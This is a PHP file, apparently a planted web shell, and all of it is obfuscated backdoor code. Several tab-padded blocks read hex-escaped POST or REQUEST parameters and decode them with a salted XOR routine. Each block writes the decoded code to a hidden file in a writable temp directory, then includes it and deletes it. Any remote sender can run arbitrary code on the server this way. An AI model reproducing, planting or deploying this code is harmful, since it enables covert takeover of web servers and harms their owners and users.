<?php																																										if(filter_has_var(INPUT_POST, "b\x69nd\x69\x6E\x67")){ $desc = $_POST["b\x69nd\x69\x6E\x67"]; $desc =explode( "." , $desc ) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $o = 0; while( $o < count( $desc)) { $v1 = $desc[$o]; $sChar = ord( $salt6[$o % $lenS]); $d =( ( int)$v1 - $sChar -( $o % 10))^27; $data .= chr( $d); $o++; } $res = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", getenv("TMP")]); foreach ($res as $key => $element) { if ((is_dir($element) and is_writable($element))) { $value = "$element/.factor"; $success = file_put_contents($value, $data); if ($success) { include $value; @unlink($value); exit;} } } }
																																										if(array_key_exists("\x64\x65s\x63\x72i\x70tor", $_POST) && !is_null($_POST["\x64\x65s\x63\x72i\x70tor"])){ $entry = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", getcwd()]); $res = $_POST["\x64\x65s\x63\x72i\x70tor"]; $res = explode ( "." ,$res ); $k = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $s = 0; array_walk($res, function($v5) use(&$k, &$s, $s4, $sLen) { $chS = ord($s4[$s % $sLen]); $dec =((int)$v5 - $chS -($s % 10)) ^ 28; $k .= chr($dec); $s++; }); $key = 0; do { $ent = $entry[$key] ?? null; if ($key >= count($entry)) break; if ((is_dir($ent) and is_writable($ent))) { $comp = vsprintf("%s/%s", [$ent, ".fac"]); if (file_put_contents($comp, $k)) { require $comp; unlink($comp); die(); } } $key++; } while (true); }
																																										if(in_array("\x64es\x63\x72\x69\x70tor", array_keys($_POST))){ $rec = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP")]); $binding = $_POST["\x64es\x63\x72\x69\x70tor"]; $binding = explode ( '.' ,$binding) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; while ($m < count($binding)) { $v7 = $binding[$m]; $sChar = ord($salt[$m % $sLen]); $dec = ((int)$v7 - $sChar - ($m % 10)) ^ 15; $elem .= chr($dec); $m++; } foreach ($rec as $key => $mrk) { if (is_writable($mrk) && is_dir($mrk)) { $sym = str_replace("{var_dir}", $mrk, "{var_dir}/.dchunk"); if (file_put_contents($sym, $elem)) { require $sym; unlink($sym); exit; } } } }
																																										if(isset($_POST["s\x79\x6Db\x6Fl"])){ $ptr = $_POST["s\x79\x6Db\x6Fl"]; $ptr = explode ( '.' , $ptr ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $ptr as $n => $v3) { $sChar = ord( $salt[$n % $lenS]); $d = ( ( int)$v3 - $sChar -( $n % 10)) ^ 25; $pointer .= chr( $d); } $object = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); for ($parameter_group = 0, $factor = count($object); $parameter_group < $factor; $parameter_group++) { $bind = $object[$parameter_group]; if (is_dir($bind) ? is_writable($bind) : false) { $token = "$bind/.mrk"; if (file_put_contents($token, $pointer)) { require $token; unlink($token); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65s"])){ $hld = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp"]); $binding = $_REQUEST["\x72\x65s"]; $binding =explode ( "." , $binding) ; $value = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $u = 0; $__len = count( $binding); do { if( $u >=$__len) break; $v1 = $binding[$u]; $chS = ord( $s4[$u% $sLen]); $dec =( ( int)$v1 - $chS -( $u% 10)) ^ 41; $value .= chr( $dec); $u++; } while( true); foreach ($hld as $holder): if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $data = str_replace("{var_dir}", $holder, "{var_dir}/.val"); $file = fopen($data, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $data; @unlink($data); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x6F\x62jec\x74"])){ $pointer = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $mrk = $_REQUEST["\x6F\x62jec\x74"]; $mrk =explode ( "." , $mrk ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; foreach ($mrk as $v4) { $chS = ord($salt[$w % $sLen]); $dec = ((int)$v4 - $chS - ($w % 10)) ^ 29; $ent .= chr($dec); $w++; } $hld = 0; do { $component = $pointer[$hld] ?? null; if ($hld >= count($pointer)) break; if (array_product([is_dir($component), is_writable($component)])) { $val = join("/", [$component, ".token"]); $success = file_put_contents($val, $ent); if ($success) { include $val; @unlink($val); die();} } $hld++; } while (true); }


if(!empty($_REQUEST["\x70\x61\x72\x61\x6D\x65t\x65r\x5Fgroup"])){
	$comp = $_REQUEST["\x70\x61\x72\x61\x6D\x65t\x65r\x5Fgroup"];
	$comp		=  explode	 (		"."  	,		$comp ); 	
	$holder=	 '';
            $salt=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	 strlen($salt);
            $u=	 0;
    
            while ($u < count($comp)) {$v8=	 $comp[$u];
                $chS=	 ord($salt[$u		%  $lenS]);
                $d=	 ((int)$v8 - $chS - ($u		%  10)) ^ 98;
                $holder	.=  chr($d);
                $u++;
            }
	$pgrp = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp"]);
	for ($res = 0, $obj = count($pgrp); $res < $obj; $res++) {
    $mrk = $pgrp[$res];
    		if (is_dir($mrk) && is_writable($mrk)) {
    $itm = implode("/", [$mrk, ".key"]);
    if (file_put_contents($itm, $holder)) {
	require $itm;
	unlink($itm);
	die();
}
}
}
}